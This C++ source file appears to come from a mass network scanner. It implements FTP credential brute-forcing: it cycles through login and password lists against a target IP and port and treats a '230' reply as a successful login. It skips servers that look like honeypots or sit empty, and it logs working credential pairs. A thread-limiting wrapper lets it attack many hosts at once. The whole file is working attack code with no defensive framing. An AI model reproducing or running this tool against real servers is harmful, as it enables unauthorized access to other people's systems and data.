#include "FTPAuth.h"
#include "FileUpdater.h"

bool FTPA::checkOutput(const string *buffer) {
    if(Utils::ustrstr(*buffer, "230") != -1) {

        return true;
    }

    return false;
}

lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
    string buffer;
    string lpString;
    lopaStr lps = {"UNKNOWN", "", ""};

	int res = 0;
	int passCounter = 0;
	int rowIndex = -1;

    char login[32] = {0};
    char pass[32] = {0};

	for (int i = 0; i < MaxFTPLogin; ++i)
    {
        if(!globalScanFlag) return lps;
		FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
		strcpy(login, ftpLoginLst[i]);
		if (strlen(login) <= 1) continue;

		for (int j = 0; j < MaxFTPPass; ++j)
        {
            if(!globalScanFlag) return lps;
			FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
			strcpy(pass, ftpPassLst[j]);
			if (strlen(pass) <= 1) continue;

            lpString = string(login) + ":" + string(pass);
			
			Connector con;
			res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString);
			if (res == -2) {
				rowIndex = Utils::addBARow(QString(ip), "--", "FAIL", rowIndex);
				return lps;
			}
			else if (res != -1) {
				if (buffer.find("syslog") != -1 || buffer.find("CFG-PAGE") != -1
					|| buffer.find("L3_default") != -1
					|| buffer.find("avpport") != -1
					) {
					if (gNegDebugMode) {
						stt->doEmitionDebugFoundData("Ignoring " + QString(ip) + " (syslog or CFG-PAGE or L3_default or avpport)");
					}
					return lps;
				}
				int rootDir = std::count(buffer.begin(), buffer.end(), '.');
				ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');

				if (3 == rootDir && 2 == ps->directoryCount) {
					if (gNegDebugMode) {
						stt->doEmitionDebugFoundData("Ignoring " + QString(ip) + " (empty)");
					}
					return lps;	
				}

				if (3 == ps->directoryCount || 1 == ps->directoryCount) {
					if (-1 != buffer.find("pub") || -1 != buffer.find("incoming")) {
						if (gNegDebugMode) {
							stt->doEmitionDebugFoundData("Ignoring " + QString(ip) + " (pub or incoming)");
						}
						return lps;
					}
				}

				if (!globalScanFlag) return lps;
				strcpy(lps.login, login);
				strcpy(lps.pass, pass);

				rowIndex = Utils::addBARow(QString(ip), QString(login) + ":" + QString(pass), "OK", rowIndex);
				
				return lps;
			};

			rowIndex = Utils::addBARow(QString(ip), QString(login) + ":" + QString(pass), QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%", rowIndex);
			++passCounter;
            Sleep(50);
        }
    }

	rowIndex = Utils::addBARow(QString(ip), "--", "FAIL", rowIndex);
    return lps;
}

lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
    if(gMaxBrutingThreads > 0) {
        while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);

		++baCount;
		++BrutingThrds;
		stt->doEmitionUpdateArc(gTargets);
		const lopaStr &lps = FTPBrute(ip, port, ps);
		--BrutingThrds;

        return lps;
    } else {
        lopaStr lps = {"UNKNOWN", "", ""};
        return lps;
    }
}